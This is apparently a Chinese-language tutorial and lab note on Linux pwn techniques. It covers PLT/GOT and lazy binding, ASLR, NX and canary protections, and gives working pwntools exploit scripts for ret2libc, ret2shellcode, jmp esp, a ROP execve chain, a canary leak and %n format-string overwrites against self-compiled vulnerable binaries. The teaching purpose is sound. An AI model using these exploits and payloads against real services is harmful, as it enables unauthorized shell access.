ret2libc
PLT表和GOT表
Linux下的动态链接是通过PLT&GOT来实现的
关于动态链接与静态链接,可以打个比方就是:如果我的文章引用了别人的一部分文字,在我发布文章的时候把别人的段落复制到我的文章里面就属于静态连接,而做一个超链接就属于动态链接。
通常来说,我们提到的“表项”是PLT、GOT表,在可执行文件中他们的内容位于.plt节、.got.plt节和.got节。
| 节名 | 说明 |
| —— | —— |
| .plt | 过程链接表,存放在.text段。PLT表项的内容存放在.plt节中。这个表中包含一些代码,有两个作用:①如果没有调用过函数,则调用链接器解析该外部函数的真实地址并填充到对应的.got.plt节中。②如果调用过该函数,那么直接到 .got.plt 节中跳转到真实地址。 |
| .got | 全局偏移表,GOT表的一部分,存放所有外部符号。 |
| .got.plt | 全局偏移表,存放在.rodata段。GOT表的另一部分,相当于.plt节的GOT全局偏移表。有两个作用:①如果没有调用过函数,则跳转回.plt节头调用链接器解析该外部函数的真实地址并填充到这个地址。②如果调用过该函数,那么这个地址中就保存的是真实地址。 |
C语言代码:1
2
3
4
5
6
int main(void)
{
printf("hello world\n");
return 0;
}
编译:1
gcc -m32 -fno-stack-protector -o test.exe test.c
查看plt表:
objdump命令是Linux下的反汇编目标文件或者可执行文件的命令,它以一种可阅读的格式让你更多地了解二进制文件可能带有的附加信息。
1 | objdump -d -j .plt test.exe |
1 | --disassemble |
可以看到,所有plt表里的函数地址都是负数,也就是说,printf函数位于glibc动态库内,所以在编译和链接阶段,链接器无法知知道进程运行起来之后printf函数的加载地址。只有进程运运行后,printf函数的地址才能确定。
进程运行起来之后,glibc动态库也装载了,printf函数地址亦已确定,上述call指令如何修改(重定位)呢?
一个简单的方法就是将指令中的printf函数地址
修改printf函数的真正地址即可。
但这个方案面临两个问题:
现代操作系统不允许修改代码段,只能修改数据段
如果print_banner函数是在一个动态库(.so对象)内,修改了代码段,那么它就无法做到系统内所有进程共享同一个动态库。
因此,printf函数地址只能回写到数据段内,而不能回写到代码段上。
链接器会额外生成一小段代码,通过这段代码来获取 printf() 的地址,像下面这样,进行链接的时候只需要对printf_stub() 进行重定位操作就可以
简化为:1
2
3
4
5
6
7
8
9
10
11
12
13.text
...
// 调用printf的call指令
call printf_stub
...
printf_stub:
mov rax, [printf函数的储存地址] // 获取printf重定位之后的地址
jmp rax // 跳过去执行printf函数
.data
...
printf函数的储存地址,这里储存printf函数重定位后的地址
总体来说,动态链接每个函数需要两个东西:
1、用来存放外部函数地址的数据段
2、用来获取数据段记录的外部函数地址的代码
为什么设置成这么奇怪的结构,后面会说明。
对应有两个表,一个用来存放外部的函数地址的数据表称为全局偏移表(GOT, Global Offset Table),那个存放额外代码的表称为程序链接表(PLT,Procedure Link Table)
可执行文件里面保存的是 PLT 表的地址,对应 PLT 地址指向的是 GOT 的地址,GOT 表指向的就是 glibc 中的地址
在这里面想要通过 PLT表获取函数的地址,首先要保证 GOT 表已经获取了正确的地址。但是如果当一个文件中存在大量的函数时,如果在程序运行前就重定位好所有的函数调用的话虽然会减轻函数调用的时间,但是会大大增加程序的启动时间,是整个程序变得很慢。因此Linux便产生了延迟重定位:也就是当你调用函数的时候函数才开始执行重定位和地址解析工作。
延迟绑定机制
只有动态库函数在被调用时,才会地址解析和重定位工作,为此可以使用类似这样的代码来实现:
跳转到<printf@plt>
看看发生了什么
1 | 0x56556030 <puts@plt> jmp dword ptr [ebx + 0xc] <0x5655900c> |
简化为:1
2
3
4
5
6
7
8
9//一开始没有重定位的时候将 printf@got 填成 lookup_printf 的地址
void printf@plt()
{
address_good:
jmp *printf@got
lookup_printf:
调用重定位函数查找 printf 地址,并写到 printf@got
goto address_good;//再返回去执行address_good
}
看看栈中出现的其他地址分别是什么:
继续n,看到这样的指令:
进入到了<_dl_runtime_resolve>
函数。
再继续执行,发现了call_dl_fixup <0xf7fe37f0>
指令。这是真正的寻址。
执行完这个函数后,再回来看GOT表中储存printf函数真实地址的内存单元:
可见,这时候存储的就是glibc中真实的printf(puts)函数的地址了。
这里还有很多细节问题,我暂时没有清楚。但是大致流程是这样的。
第一次调用:
再一次调用:
ASLR
ASLR(Address Space Layout Randomization,地址空间布局随机化)。ASLR是一种对栈、模块、动态分配的内存空间等的地址(位置)进行随即配置的机制。
可以通过/proc/sys/kernel/randomize_va_space
进行修改。cat查看值由三种状态
1 | 0:禁用 |
(就是PIE保护机制)
checksec看一下保护机制:1
2
3
4
5
6
7seclab@seclabPC:/home/PycharmProjectspy2/pwn$ checksec ./test00
[*] '/home/PycharmProjectspy2/pwn/test00'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Exec-Shield(NX)
除存放可执行代码的内存空间以外,对其余内存空间禁用执行权限。
Exec-Shield是一种通过“限制内存空间的读写和执行权限”来防御攻击的机制。1
2
3
4
5
6
7seclab@seclabPC:/home/PycharmProjectspy2/pwn$ checksec ./test02
[*] '/home/PycharmProjectspy2/pwn/test02'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
关闭NX保护:1
gcc -z execstack -o test test.c
查看某个程序在进程内存空间的读写和执行权限,在程序运行时输入1
2
3
4
5seclab@seclabPC:/home/PycharmProjectspy2/pwn$ ps -aef | grep test02
seclab 3200 3147 0 10:46 pts/0 00:00:00 ./test02
seclab 3233 3224 0 10:47 pts/1 00:00:00 grep --color=auto test02
seclab@seclabPC:/home/PycharmProjectspy2/pwn$ cat /proc/3200/maps | grep stack
ff9ae000-ff9cf000 rw-p 00000000 00:00 0 [stack]
可以看到栈空间为ff9ae000-ff9cf000,权限为rw-p,没有代表执行权限的x。
StackGuard
就是canary保护机制,之前写过的格式化字符串绕过canary保护机制。1
2
3
4
5
6
7
8seclab@seclabPC:/home/PycharmProjectspy2/pwn$ checksec ./test03
[*] '/home/PycharmProjectspy2/pwn/test03'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
可以看到后面还带有 RWX: HasRWX segments 有这个基本就是ret2shellcode。因为程序中存在可读可写可执行的片段这很危险的。
ret2libc
使用ret2libc技术绕过NX保护,他的思路是:即使无法执行任何代码(shellcode),但是只要能运行任意程序,就能获得shell。
C语言代码:1
2
3
4
5
6
7
8
9
10
11
12#include<stdio.h>
char buf2[10] = "this is buf2";
void vul()
{
char buf1[10];
gets(buf1);
}
void main()
{
write(1,"sinxx",5);
vul();
}
编译一下:1
seclab@seclabPC:/home/PycharmProjectspy2/pwn$ gcc -fno-stack-protector -no-pie -o nx nx.c
查看保护机制:1
2
3
4
5
6
7seclab@seclabPC:/home/PycharmProjectspy2/pwn$ checksec ./nx
[*] '/home/PycharmProjectspy2/pwn/nx'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
开启了堆栈不可执行保护。
为什么不直接找到system和/bin/sh在got的地址呢?
由于延迟绑定机制,PLT和GOT是程序编译时采用,system和/bin/sh并不在程序中,所以没有他们的地址。
使用objdump或者ROPgadgets查看,编译出来的文件中不包含system函数和’/bin/sh’字符串。
但是glibc的地址是泄露了的,所以通过泄露的地址再减去偏移可计算出基址。
基址加上需要的偏移就会得到任意函数或者字符串。
第一次输入获得泄露的真实地址并接收,返回地址用可在此执行rop链的函数覆盖。第二次输入发送payload并getshell。
通常用elf来寻找真实地址,而不是手动寻找。我们可以知道gets函数在got表中的地址,
地址的偏移是一致的,所以gets函数真实地址减去libc中的地址就是真实地址与libc地址的偏移量,system函数在libc中的地址加上这个偏移量就是system函数的真实地址。
如何得知gets函数的真实地址呢?
由于延迟绑定机制,只有函数使用一遍之后got表中才存储着真正的地址,所以我们需要利用gets函数溢出两次。第一次溢出返回地址填写writes函数的地址,然后输出gets函数的真实地址;第二次溢出就返回到system函数的地址了。
查看程序所需要得动态链接库(so):1
2
3
4seclab@seclabPC:/home/PycharmProjectspy2/pwn$ ldd ./nx
linux-gate.so.1 (0xf7efb000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d03000)
/lib/ld-linux.so.2 (0xf7efc000)
计算offset:1
2
3
4
5
6
7
8
9
10
11
12 cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
r
Starting program: /home/PycharmProjectspy2/pwn/nx
sinxxaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Program received signal SIGSEGV, Segmentation fault.
0x61676161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
cyclic -l aaga
22
偏移:
1 | from pwn import * |
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25from pwn import *
context(arch="i386",os="linux")
p=process("./9.exe")
e=ELF(".9.exe")
addr_write=e.plt["write"]
addr_gets=e.got["gets"]
addr_vul=e.symbols["vul"]
print pidof(p)
offset=22
pause()
payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)
#填充'a',然后跳转到write函数地址。write函数的返回地址用vul函数覆盖,write函数的参数为"1, gets函数地址, 4"
p.sendlineafter("sinxx",payload1)
gets_real_addr=u32(p.recv(4))
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
rva_libc=gets_real_addr-libc.symbols["gets"]
addr_system=rva_libc+libc.symbols["system"]
addr_binsh=rva_libc+libc.search("/bin/sh").next()
payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)
p.sendline(payload2)
p.interactive()
ret2shellcode
思路:
read函数存在溢出,payload组成为shellcode和nop导轨,补齐到retn返回地址后,把返回地址用全局变量str1的地址覆盖,就跳转到全局变量str1的地址了,就执行了shellcode。
利用pwntools中shellcraft.sh()函数生成shellcode
全局变量绝对地址
C程序:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18#include <stdio.h>
#include <string.h>
char str1[0x40];
void exploit()
{
system("bin/sh");
}
void func()
{
char str[0x40];
read(0,str,0x60);
strcpy(str1,str);
}
int main()
{
func();
return 0;
}
全局变量空间不会马上释放,且地址是常规的。
编译:1
2gcc -m32 -no-pie -fno-stack-protector -z execstack -o 6.exe 6.c
gdb 6.exe
调试:1
2
3
4
5
6pwndbg> start
pwndbg> cyclic 200 //生成200字符的串
pwndbg> r //重新开始
pwndbg> c //持续执行
(粘贴字符串)
pwndbg> cyclic -l taaa //返回地址得到的字符串计算偏移
python代码:1
2
3
4
5
6
7
8
9
10
11
12
13from pwn import *
context(arch="i386",os="linux")
p=process('./6.exe')
offset = 76
# linux生成shellcode并转换成机器码
shellcode=asm(shellcraft.sh())
# shellcode长度不足偏移地址(76byte)的话用\x90补齐,最后加上全局变量str1的地址覆盖返回地址。
payload =shellcode.ljust(offset,'\x90')+p32(0x804c060)
pid=proc.pidof(p)
print pid
pause()
p.sendline(payload)
p.interactive()
jmp esp跳板定位相对地址
C语言代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str1[0x40];
read(0,str1,0x80);
}
int main()
{
func();
return 0;
}
思路:详见《堆溢出简单实验》中关于jmp esp的解释。
关闭linux空间地址随机化:1
echo 0 >/proc/sys/kernel/randomize_va_space
否则找到的jmp esp
就失效了。
peda命令asmsearch寻找jmp esp
1
asmsearch "jmp esp" libc
python代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14from pwn import *
context(arch="i386",os="linux")
p=process('./8.exe')
offset = 76
shellcode=asm(shellcraft.sh())
add_jmpesp=p32(0xf7dd733d)
print len(shellcode)
payload ='\x90'*offset+add_jmpesp+shellcode
pid=proc.pidof(p)
print pid
pause()
p.sendline(payload)
p.interactive()
大佬的视频:ret2Shellcode-CTF-PWN入门02
ropgadget
ROP(Return-Oriented Programming, 返回导向编程)
ret2syscall 即控制程序执行系统调用来获取 shell
ROP链的构造
RWX段(同linux的文件属性一样,对于分页管理的现代操作系统的内存页来说,每一页也同样具有可读(R),可写(W),可执行(X)三种属性。只有在某个内存页具有可读可执行属性时,上面的数据才能被当做汇编指令执行,否则将会出错)
调试运行后发现这个RWX段其实就是栈,且程序还泄露出了buf所在的栈地址既然攻击者们能想到在RWX段内存页中写入shellcode并执行,防御者们也能想到,因此,一种名为NX位(No eXecute bit)的技术出现了。这是一种在CPU上实现的安全技术,这个位将内存页以数据和指令两种方式进行了分类。
被标记为数据页的内存页(如栈和堆)上的数据无法被当成指令执行,即没有X属性。由于该保护方式的使用,之前直接向内存中写入shellcode执行的方式显然失去了作用。因此,我们就需要学习一种著名的绕过技术——ROP(Return-Oriented Programming, 返回导向编程)
使用返回指令ret连接代码的一种技术(同理还可以使用jmp系列指令和call指令,有时候也会对应地成为JOP/COP)。一个程序中必然会存在函数,而有函数就会有ret指令。我们知道,ret指令的本质是pop eip,即把当前栈顶的内容作为内存地址进行跳转。而ROP就是利用栈溢出在栈上布置一系列内存地址,每个内存地址对应一个gadget,即以ret/jmp/call等指令结尾的一小段汇编指令,通过一个接一个的跳转执行某个功能。由于这些汇编指令本来就存在于指令区,肯定可以执行,而我们在栈上写入的只是内存地址,属于数据,所以这种方式可以有效绕过NX保护。
linux系统调用
想办法调用execve(“/bin/sh”,null,null)
linux上面的系统调用原理
eax 系统调用号
ebx 第一个参数
ecx 第二个参数
edx 第三个参数
esi 第四个参数
edi 第五个参数
int 0x80
把对应获取 shell 的系统调用的参数放到对应的寄存器中,再执行int 0x80
就可执行对应的系统调用。
控制这些寄存器的值就需要使用 gadgets。我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以需要一段一段控制,这也是在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,可以使用 ropgadgets 这个工具。
查找execve
的系统调用号:1
cat /usr/include/asm/unistd_32.h | grep execve
1 | eax=0xb |
只需要让栈顶的值是 0xb 然后可以通过 pop eax 达到目的。其余寄存器也是。
C代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0,str,0x50);
}
int main()
{
func();
return 0;
}
编译:1
2gcc -no-pie -fno-stack-protector -static -o 7.exe 7.c
注:-static 此选项将禁止使用动态库,所以,编译出来的东西,一般都很大,也不需要什么动态连接库,就可以运行。
确定offset1
2
3
4
5
6
7
8 pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
start
r
Starting program: /root/exp/7.exe
AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
pattern offset AFAA
AFAA found at offset: 44
寻找需要的gadgets:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23root@kali430:~/exp# ROPgadget --binary ./7.exe --only 'pop|ret' | grep 'eax'
0x080a4cea : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x08057144 : pop eax ; pop edx ; pop ebx ; ret
0x080aaa06 : pop eax ; ret
0x080a4ce9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
root@kali430:~/exp# ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
0x0806f711 : pop edx ; pop ecx ; pop ebx ; ret
root@kali430:~/exp# ROPgadget --binary ./7.exe --string "/bin/sh"
Strings information
============================================================
0x080ae008 : /bin/sh
0x080ae7b1 : /bin/sh
root@kali430:~/exp# ROPgadget --binary ./7.exe --only "int"|grep "0x80"
0x0804a3d2 : int 0x80
python代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17from pwn import *
context(arch="i386",os="linux")
p=process('./7.exe')
offset = 44
add_eax=p32(0x080aaa06)
value_eax=p32(0xb)
add_edx_ecx_ebx=p32(0x0806f711)
value_ebx=p32(0x080ae008)
value_ecx=p32(0)
value_edx=p32(0)
add_int=p32(0x0804a3d2)
payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
pid=proc.pidof(p)
print pid
pause()
p.sendline(payload)
p.interactive()
找到的另一种代码:1
2
3
4
5
6
7
8
9
10
11"""ctf-wiki上的"""
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080aaa06
pop_edx_ecx_ebx_ret = 0x0806f711
int_0x80 = 0x0804a3d2
binsh = 0x080ae008
payload = flat(['A' * 44, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
#flat模块能将pattern字符串和地址结合并且转为字节模式
sh.sendline(payload)
sh.interactive()
定位溢出点、python加载的方法
gdb调试定位溢出点的三种工具。原理都是寻找被覆盖的返回地址在字符串中的偏移。当然还可以直接看汇编在堆栈中分配了多少空间,再加上4(ebp的内存单元)就是总溢出点的偏移。
C程序:
1 |
|
编译命令:1
gcc -no-pie -fno-stack-protector -z execstack -m32 -o 3.exe 3.c
-no-pie:关闭地址随机化
-fno-stack-protector:禁用栈保护
-z execstack:关闭堆栈不可执行
寻找代码段中用了哪些函数
1 | objdump -j .text -t 3.exe|grep read |
查看反汇编1
objdump -D -M intel 3.exe
查找函数1
objdump -D -M intel 3.exe|grep system
即system函数的入口是0x8049050,调用system函数的exploit函数入口是0x08049182。
当然这是在关闭地址随机化和存在system("/bin/sh")
的条件下进行的,如果打开了随机化或者找不到system
函数或者他的参数就是另一个故事了。
0x02 生成字符串
msf-pattern_create
1 | msf-pattern_create -l 100 |
peda里执行3.exe1
2
3gdb-peda$ r
Starting program: /root/exp/3.exe
a0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
计算偏移量1
msf-pattern_offset -q 0Ab1
1 | root@kali430:~/exp# msf-pattern_offset -q 0Ab1 |
peda
peda里执行1
2
3pattern_create 100
r
pattern_offset A)AA
1 | gdb-peda$ pattern_create 100 |
pwngdb
1 | cyclic 100 |
python加载
定位到exploit函数
1 | from pwn import * |
1 | python 3.py |
定位到system函数的物理地址
1 | gdb-peda$ p system |
libc中的system函数为真实物理地址
1 | gdb-peda$ searchmem system |
寻找”/bin/sh”参数地址:1
2
3
4
5
6 searchmem "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 3 results, display max 3 items:
test.exe : 0x804a008 ("/bin/sh")
test.exe : 0x804b008 ("/bin/sh")
libc : 0xf7f50f68 ("/bin/sh")
寻找返回地址:1
2gdb-peda$ p exit
$2 = {void (int)} 0xf7e066f0 <__GI_exit>
注意:1
echo 0 > /proc/sys/kernel/randomize_va_space
关闭系统地址随机化才能运行成功。
python代码1
2
3
4
5
6
7from pwn import *
p=process('./test.exe')
offset = 44
payload ='a'*offset+p32(0xf7e13660)+p32(0xf7e066f0)+p32(0xf7f50f68)
# 先压栈system物理地址,再压栈返回地址,再压栈"/bin/sh"参数地址
p.send(payload)
p.interactive()
定位到system函数在函数领空的虚拟内存地址
c程序:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0,str,0x50);
}
int main()
{
func();
return 0;
}
1 | gcc -m32 -fno-stack-protector -no-pie -o test.exe 4.c |
寻找exploit函数入口1
gdb-peda$ disass exploit
获得shell后返回地址就不重要了,可以随便写。参数可以是上面搜的”/bin/sh”任一地址
python代码:1
2
3
4
5
6from pwn import *
p=process('./test.exe')
offset = 44
payload ='a'*offset+p32(0x8049040)+p32(0x8049040)+p32(0x804a008)
p.send(payload)
p.interactive()
格式化字符串与canary保护
格式化字符串漏洞是因为c语言中printf的参数个数不是确定的,参数的长度也不是确定的,当printf把输入当作第一个参数直接输出的时候,输入若干格式化字符串,会增加与格式化字符串相对应的参数,会泄露出栈中的内容
canary保护
canary保护是指编译时在函数入口和出口处插入用于检测栈数据完整性的机器语言代码,属于编译器安全机制。
gcc打开canary保护1
2gcc -no-pie -fstack-protector -m32 -o test1.exe test1.c
gdb test1.exe
在pwndbg里进行:1
2
3
4
5
6
7pwndbg> i b
No breakpoints or watchpoints.
pwndbg> b func
Breakpoint 2 at 0x80491c1
pwndbg> i b
Num Type Disp Enb Address What
2 breakpoint keep y 0x080491c1 <func+4>
依次执行r和n指令,直到看到一行这样的指令:1
0x80491cf <func+18> mov eax, dword ptr gs:[0x14] <0x804c000>
每次运行时,%gs:20都会存入一个随机数,将随机值添加到栈的最后。后面再将栈的最后一个值与%gs:20进行对比,一致则进行跳转,否则终止代码。
查看内容:1
2pwndbg> x/x 0x804c000
0x804c000: 0x0804bf14
即插入的canary随机代码。查看canary:1
2
3
4
5pwndbg> canary
AT_RANDOM = 0xffffd4bb # points to (not masked) global canary value
Canary = 0xe1ab7500
Found valid canaries on the stacks:
00:0000│ 0xffffd27c ◂— 0xe1ab7500
格式化字符串
C程序:
1 |
|
明显的溢出漏洞:正常输入的话两个printf输出一样,但是超过str1[10]
的空间的话就会覆盖返回地址。
格式化字符串
输入%x%x%x
的话,输出结果为:
正常输出的话,堆栈中这样存储
在OD里观察到原因
把存储内容当作输入。
printf函数并不知道参数个数,它的内部有个指针,用来索检格式化字符串。对于特定类型%,就去取相应参数的值,直到索检到格式化字符串结束。
所以尽管没有参数,上面的代码也会将format string 后面的内存储存的数据当做参数以16进制输出。这样就会造成内存泄露。
泄露任意地址的内存
之前的方法还只是泄露栈上变量值,没法泄露变量的地址,但是如果我们知道格式化字符串在输出函数调用时是第几个参数,这里假设格式化字符串相对函数调用是第 k 个参数,那我们就可以通过如下方法来获取指定地址 addr 的内容1
2linux下:
addr%k$p
在Windows下把输入换成下面的字符串,确定格式化字符串是第几个参数:1
AAAAA%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-
则输出为:1
2AAAAA%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-
AAAAA 19ff30- 4011d0- 2ea000-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-41414141-78382541-7838252d-7838252d-7838252d-7838252d-7838252d-7838252d-7838252d-
输出的内容和前面的输入重复了,就说明可以确定是第几个参数。但是不排除栈上有些其他变量也是这个值,所以可以用一些其他的字符进行再次尝试。
根据这个原理,切换到linux下进行测试。
注:%<number>$x
是直接读取从当前位置往下数第number个位置的参数,同样可以用在$n,$d,$p
等等。
所以思路是:读取到canary的值并加入到payload中,在canary的地址放入原来canary的值。
在进行到read函数时,查看栈:1
stack 20
可以看到偏移为0x2c即44,4位一组偏移为11个内存单元。
输入:1
%11$8x
一直n下去直到printf函数:
获得了canary的值,并以16进制形式输出。
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14from pwn import *
p=process("./test.exe")
p.sendline("%11$08x")
canary=p.recv()[:8]
print(canary)
canary=canary.decode("hex")[::-1]
coffset=4*4
roffset=3*4
raddr=p32(0x8049192)
payload=coffset*'a'+canary+roffset*'a'+raddr
p.sendline(payload)
p.interactive()
覆盖栈内存
%n与其他格式说明符号不同。%n不向printf传递格式化信息,而是令printf把自己到该点已打出的字符总数放到相应变元指向的整形变量中。因此%n对于抄的变元必须是整形指针。
对printf调用返回之后,%n对于变元指向的变量中将包含有一个整数值,表示出现%n时已经由该次printf调用输出的字符数。
printf(“this%n is a test\n”,&count);//调用后count为4
C语言代码:
(和攻防世界pwn新手区第一题hello_pwn类似)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}
希望通过改变C的值输出modified c.
。而%n不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。只要变量对应的地址可写,就可以利用格式化字符串来改变其对应的值。
步骤:
1.确定覆盖地址
2.确定偏移大小
3.覆盖
可更改内存单元是第6个参数所在,而输出c的地址(4位)后,还需要12位才凑够16。故payload构成为:addr_c+’a’* 12+’%6$n’
1 | from pwn import * |
这里,recvuntil是接收输出直到’\n’为止,drop=True
是指丢弃掉最后until的’\n’字符。就接收到了c的地址。
但是这样的payload有个问题,把4字或8字的地址放在前面,所以覆盖字节至少也比4大。
C语言代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 3) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}
修改为c == 3输出modified c.
可以这样修改:1
2
3
4
5
6
7
8
9
10from pwn import *
p = process('./str2')
addr_c = int(p.recvuntil('\n',drop=True), 16)
print hex(addr_c)
payload = 'aaa%8$na'+p32(addr_c)
p.sendline(payload)
print p.recv()
p.interactive()
其中,4位4位一个内存单元。aaa%
是第6个参数,8$na
是第7个参数,addr_c就是第8个参数了。所以%8$n
前有3个字符,再取第8个参数的地址(%后的数字设置为8),就将addr_c的内容覆盖为3了。
这里掌握的小技巧:没有必要把地址放在最前面,只需要找到它对应的偏移就可以。
若是覆盖大数字,变量在内存中都是以字节的格式存储的,在 x86、x64 中是按照小端存储的,格式化字符串里面有两个标志用的上了:
h:对于整数类型,printf 期待一个从 short 提升的 int 尺寸的整型参数
hh:对于整型类型,printf 期待一个从 char 提升的 int 尺寸的整形参数
意思是说hhn
写入的就是单字节,hn
写入的就是双字节。
1 | from pwn import * |
地址经过前面的p32()
打包后,会变成4个字符,4*4+104=120,即0x78。120+222=342,即0x156,然后依次是:0x234、0x312,又因为 hh 是写入单字节的,又是小端存储,也就是只能取后边两个,所以连起来就是 0x12345678。
参考文章PWN入门(格式化字符串)